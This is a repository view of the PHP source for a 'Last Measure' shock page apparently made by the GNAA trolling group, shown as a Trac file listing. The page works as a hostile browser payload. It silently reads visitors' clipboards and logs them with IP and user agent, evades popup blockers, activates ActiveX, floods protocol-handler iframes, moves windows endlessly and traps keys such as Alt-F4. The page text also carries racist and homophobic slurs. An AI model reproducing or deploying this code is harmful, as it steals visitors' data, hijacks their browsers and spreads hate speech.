source: trollforge/lastmeasure/index.php @ 108

Revision 108, 11.3 KB checked in by sam, 7 years ago (diff)
  • even nicer key
  • Property svn:keywords set to Id
Line 
1<?php
2include("include/browser.php");
3
4/* Browser features */
5$br = new Browser;
6$br_ie6 = ($br->Name == "MSIE" && $br->Version >= 6);
7
8/* Additional information */
9$send = $_POST['send'];
10$popup = $_GET['popup'];
11$procreate = $_GET['procreate'];
12
13/* Print a random image name, with its 'image/' prefix. */
14$imagelist = array();
15$dh = opendir('images/');
16while(($file = readdir($dh)) != false) {
17  $ext = substr($file, -3);
18  if($ext == 'jpg' || $ext == 'gif') {
19    $imagelist[] = $file;
20  }
21}
22closedir($dh);
23function random_image() {
24   global $imagelist;
25   echo 'images/'.$imagelist[rand(0,count($imagelist)-1)];
26}
27
28function hey_everybody() { ?>
29  <!-- This object plays the "hey everybody, I'm watching gay porno!" sound -->
30  <object classid= "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
31          codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
32          width="1" height="1" id="hey" align="">
33    <param name="movie" value="flash/hey.swf"></param>
34    <param name="quality" value="high"></param>
35    <embed src="flash/hey.swf" width="1" height="1" name="hey" align=""
36           type="application/x-shockwave-flash"
37           pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>
38  </object>
39<?php
40}
41
42function external_ruin() { ?>
43  <script>
44    var mail = 'mailto:JOIN@THE.GNAA?subject=2005_RECRUITMENT_DRIVE'
45        mail += '&body=www.gnaa.us';
46    var news = 'news:alt.flame.niggers';
47
48    var protos = [
49      mail,
50      //'irc://irc.gnaa.us/#gnaa',
51      //'rlogin://x.x.x.x:xx',
52      mail,
53      //'telnet://x.x.x.x:xx',
54      //'ed2k://|file|Star.Wars.Episode.III.Revenge.of.the.Sith.2005.PROPER.DVDRip.XviD-GNAA.avi|1073397760|4D34DCA3C4E81B484EAC8CA408EEDD48|h=4OBEIFRUQRW7QJGRPBZJGRRQJHNP7KJS|/',
55      news,
56      //'callto://JOIN_THE_GNAA__2005_RECRUITMENT_DRIVE'
57    ];
58
59    function add(str) {
60      div = document.getElementById('goatse');
61      div.innerHTML = '<iframe width=1 height=1 src="' + str + '"></iframe>';
62    }
63
64    function extruin() {
65      document.body.innerHTML += '<div id="goatse">Y HALLO THAR!</div>';
66      for(i = 0; i < 5; i++) {
67        add(mail);
68        add(news);
69      }
70      ruin();
71    }
72
73    function ruin() {
74      for(i = 0; i < protos.length; i++) {
75        add(protos[i]);
76      }
77      //print();
78      setTimeout("ruin()", 200);
79    }
80  </script>
81<?php
82}
83
84function move_around($w, $h) { ?>
85  <script>
86    var images = new Array;
87    <?php
88    global $imagelist;
89    echo "var imagecount = ".count($imagelist).";\n";
90    for($i = 0; $i < count($imagelist); $i++) {
91      echo "images[".($i+1)."] = 'images/".$imagelist[$i]."';\n";
92    } ?>
93
94    var delay = 10;
95    var step = .2;
96    var curstep = 0;
97
98    window.resizeTo(<?php echo "$w, $h";?>);
99    var centerX = (self.screen.width - document.body.clientWidth) / 2;
100    var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;
101    movew0w();
102
103    function movew0w() {
104      var j;
105      for (j = 0; j < 5; j++) {
106        curstep += step / 5;
107        var factorX = Math.sin(curstep * 6.1) * 0.9;
108        var factorY = Math.cos(curstep * 3.7) * 0.9;
109
110        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)
111                    * (Math.sin(10+curstep/(10+j))+0.2)
112                    * Math.cos((curstep + j*25)/10);
113        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)
114                    * (Math.sin(10+curstep/10)+0.2)
115                    * Math.cos((curstep + j*25)/10);
116        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));
117      }
118      document.body.background = images[(Math.floor(curstep) % imagecount) + 1];
119      setTimeout("movew0w()", delay);
120    }
121  </script>
122<?php
123}
124
125function popup_bypasser() { ?>
126  <!-- This chunk bypasses popups -->
127  <script>
128    function shellscript() {
129      for(i = 0; i < 5; i++) {
130        open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?popup=1','_blank','scrollbar=no');
131      }
132    }
133
134    function main() {
135      x.DOM.Script.execScript(shellscript.toString());
136      x.DOM.Script.setTimeout("shellscript()");
137      setTimeout("main()", 200);
138    }
139  </script>
140<?php
141}
142
143function divert_onload() { ?>
144  <script language="JavaScript">
145    <!--
146    var SymRealOnLoad;
147    var SymRealOnUnload;
148    var SymRealWinOpen;
149
150    function SymOnUnload() {
151      window.open = SymWinOpen;
152      if(SymRealOnUnload != null)
153        SymRealOnUnload();
154    }
155
156    function SymOnLoad() {
157      if(SymRealOnLoad != null)
158        SymRealOnLoad();
159      window.open = SymRealWinOpen;
160      SymRealOnUnload = window.onUnload;
161      window.onUnload = SymOnUnload;
162    }
163
164    SymRealOnLoad = window.onLoad;
165    window.onLoad = SymOnLoad;
166    //-->
167  </script>
168<?php
169}
170
171function activate_applets() { ?>
172  <object id="x" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
173          align="middle" height="1" width="1">
174    <param name="ActivateApplets" value="1"></param>
175    <param name="ActivateActiveXControls" value="1"></param>
176  </object>
177<?php
178}
179
180
181/*
182 * Database shit
183 */
184function store_hit() {
185    $date = date('Y-m-d-H:i:s');
186    $ip = $_SERVER['REMOTE_ADDR'];
187    $port = $_SERVER['REMOTE_PORT'];
188    $hostname = base64_encode('');
189    $uagent = base64_encode($_SERVER['HTTP_USER_AGENT']);
190    $referer = base64_encode($_SERVER['HTTP_REFERER']);
191    $user = base64_encode('nobody');
192    $clipboard = base64_encode('');
193
194    $key = sprintf('%08ux', date('U')) . substr(md5($ip . rand()), 0, 8);
195    $val = "$date $ip $port $hostname $uagent $referer $user $clipboard";
196
197    $id = dba_open('db/hit.db', 'c', 'db4');
198    if($id) {
199        dba_replace($key, $val, $id);
200        dba_close($id);
201    }
202
203    $id = dba_open('db/uagent.db', 'c', 'db4');
204    if($id) {
205        if(dba_exists($uagent, $id)) {
206            $count = dba_fetch($uagent, $id);
207            dba_replace($uagent, $count + 1, $id);
208        } else {
209            dba_insert($uagent, '1', $id);
210        }
211        dba_close($id);
212    }
213
214    $id = dba_open('db/user.db', 'c', 'db4');
215    if($id) {
216        if(dba_exists($user, $id)) {
217            $count = dba_fetch($user, $id);
218            dba_replace($user, $count + 1, $id);
219        } else {
220            dba_insert($user, '1', $id);
221        }
222        dba_close($id);
223    }
224
225    return $key;
226}
227
228function store_clipboard() {
229    $key = $_POST['key'];
230
231    $id = dba_open('db/hit.db', 'c', 'db4');
232    if(!$id) {
233        return;
234    }
235    if(dba_exists($key, $id)) {
236        $val = dba_fetch($key, $id);
237        list($date, $ip, $port, $hostname,
238             $uagent, $referer, $user, $clipboard) = explode(' ', $val);
239        $clipboard = base64_encode($_POST['content']);
240        $val = "$date $ip $port $hostname $uagent $referer $user $clipboard";
241        dba_replace($key, $val, $id);
242    }
243    dba_close($id);
244}
245
246/*
247 * The rest of our code
248 */
249
250?>
251<html>
252  <head>
253    <title>GNAA Last Measure Unified</title>
254    <script language="JavaScript">
255      <?php include("include/js.inc"); ?>
256    </script>
257    <link rel="icon" type="image/x-icon" href="/favicon.ico" />
258    <link rel="shortcut icon" type="image/x-icon" href="/favicon.ico" />
259  </head>
260<?php
261
262    /*
263     *
264     *  First window ever, this should be our entry point
265     *
266     */
267
268    if(!$popup && !$send && !$procreate) {
269        $key = store_hit(); ?>
270    <body>
271      <?php include "include/goatse.php"; ?>
272      <form name="clip" method="post" action="index.php" style="display:none">
273        <input type="text" name="content">
274        <input type="hidden" name="send" value="1">
275        <input type="hidden" name="key" value="<?php echo $key; ?>">
276        <input type="submit">
277      </form>
278      <script language="javascript">
279        // without this if statement check, it bombs out with an error
280        if (typeof clipboardData != 'undefined') {
281          var content = clipboardData.getData("Text");
282          document.forms["clip"].elements["content"].value = content;
283        }
284        document.forms["clip"].submit();
285      </script>
286    </body><?php
287
288    /*
289     *
290     *  This is still the first window, but we got the clipboard contents
291     *
292     */
293
294    } elseif($send || $popup) {
295      if($send) {
296        store_clipboard();
297        $flash = 'flash/first_opener.swf';
298      } else {
299        $flash = 'flash/second_opener.swf';
300      } 
301      ?>
302<body background="<?php random_image();?>" bgcolor="#ffffff"
303      onLoad="setTimeout('extruin()',200);<?php if($br_ie6) { ?>setTimeout('main()',100);<?php } ?>"
304      onKeyDown="altf4key();ctrlkey();delkey();"
305      leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
306  <?php move_around(800, 600);
307        external_ruin();
308        activate_applets();
309        if($br_ie6) {
310          popup_bypasser();
311          divert_onload();
312        } ?>
313  <table width="100%" height="100%">
314    <tr>
315      <td valign="middle">
316        <div align="center">
317          <a href="http://www.gnaa.us/"><img src="gnaa.png" border="0"></a>
318          <br />
319          <br />
320          <?php if(!$br_ie6) { ?>
321            <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
322                    codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0"
323                    width="1" height="1">
324              <param name="movie" value="<?php echo $flash;?>"></param>
325              <param name="quality" value="high"></param>
326              <embed src="<?php echo $flash;?>" quality="high"
327                     pluginspage="http://www.macromedia.com/go/getflashplayer"
328                     type="application/x-shockwave-flash" width="1" height="1">
329              </embed>
330            </object>
331          <?php } ?>
332        </div>
333      </td>
334    </tr>
335  </table>
336  <form>
337  <?php if($send) {
338    hey_everybody(); ?>
339    <input type="submit" value="CLICK ME" name="CLICK ME"
340           style="width: 2000px; height: 2000px;
341                  background-image: url('<?php //random_image();?>');"
342           src="<?php //random_image();?>" height="300" width="300"
343           onMouseOver="if(is_ie) {showModelessDialog('index.php?procreate=1');
344                        return true; }document.goatse.reset();movew0w();
345                        return true;"
346           onClick="if(is_ie) {showModelessDialog('index.php?procreate=1');
347                    return true; } movew0w();return true;"
348           onMouseOut="if(is_ie) {showModelessDialog('index.php?procreate=1');
349                       return true; } else{procreate();}
350                       movew0w();return true;">
351    <br />
352    Lastmeasure last measure last-measure nero institute
353  <?php } ?>
354  </form>
355  <form name="goatse" onReset="procreate();" onSubmit="procreate();" action="" id="goatse">
356    <p><span style="background-color: #ffffff; border: thin solid; color: #000000;">GNAA Gay Niggers Timecop</span></p>
357  </form>
358</body><?php
359
360    /*
361     *
362     *  Window is a procreate window
363     *
364     */
365
366    } elseif($procreate) {
367      ?>
368<body bgColor="#ffffff"
369      onLoad="document.goatse.reset();movew0w();return true;bookmark();"
370      onKeyDown="altf4key();ctrlkey();delkey();"
371      onMouseOver="procreate();movew0w();">
372  <?php move_around(800, 600);?>
373  <h1>PROCREATING LAST MEASURE!!!</h1>
374  <h1>GNAA > j00</h1>
375  <h1>Fristage Postage is MINE.</h1>
376  <h1>EAT THIS, GOOGLE TOOLBAR.</h1>
377  fucking nigger operating system.. at least in fucking Firebird you don't
378  have to do this shit.
379  <?php hey_everybody(); ?>
380  <form name="goatse" action="#" ONreset="procreate(); return true;">
381  </form>
382</body>
383<?php
384
385    }
386?>
387</html>
Note: See TracBrowser for help on using the repository browser.